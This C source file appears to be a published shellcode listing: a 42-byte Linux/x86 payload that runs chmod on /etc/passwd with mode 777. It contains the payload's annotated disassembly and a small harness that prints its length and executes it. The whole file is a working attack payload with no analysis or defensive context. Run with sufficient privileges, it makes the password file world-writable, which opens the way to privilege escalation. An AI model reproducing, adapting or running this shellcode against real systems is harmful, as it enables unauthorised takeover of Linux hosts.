/*
# Title: Linux/x86 chmod('/etc/passwd','777') - shellcode 42 bytes
# Platform: linux/x86_64
# Date: 2015-06-15
# Author: Mohammad Reza Espargham
#    Linkedin    :   https://ir.linkedin.com/in/rezasp
#    E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
#    Website     :   www.reza.es
#    Twitter     :   https://twitter.com/rezesp
#    FaceBook    :   https://www.facebook.com/mohammadreza.espargham


Disassembly of section .text:

00000000 <.text>:
    0:    6a 0f                    push   $0xf
    2:    58                       pop    %eax
    3:    68 90 90 ff 01           push   $0x1ff9090
    8:    59                       pop    %ecx
    9:    c1 e9 10                 shr    $0x10,%ecx
    c:    68 90 73 77 64           push   $0x64777390
   11:    5b                       pop    %ebx
   12:    c1 eb 08                 shr    $0x8,%ebx
   15:    53                       push   %ebx
   16:    68 2f 70 61 73           push   $0x7361702f
   1b:    68 2f 65 74 63           push   $0x6374652f
   20:    89 e3                    mov    %esp,%ebx
   22:    cd 80                    int    $0x80
   24:    b0 01                    mov    $0x1,%al
   26:    b3 01                    mov    $0x1,%bl
   28:    cd 80                    int    $0x80
*/

#include <stdio.h>
#include <string.h>
int main(){
unsigned char shellcode[]= 
"\x6a\x0f\x58\x68\x90\x90\xff\x01\x59\xc1\xe9\x10\x68\x90\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
fprintf(stdout,"Length: %d\n\n",strlen(shellcode));
     (*(void(*)()) shellcode)();
}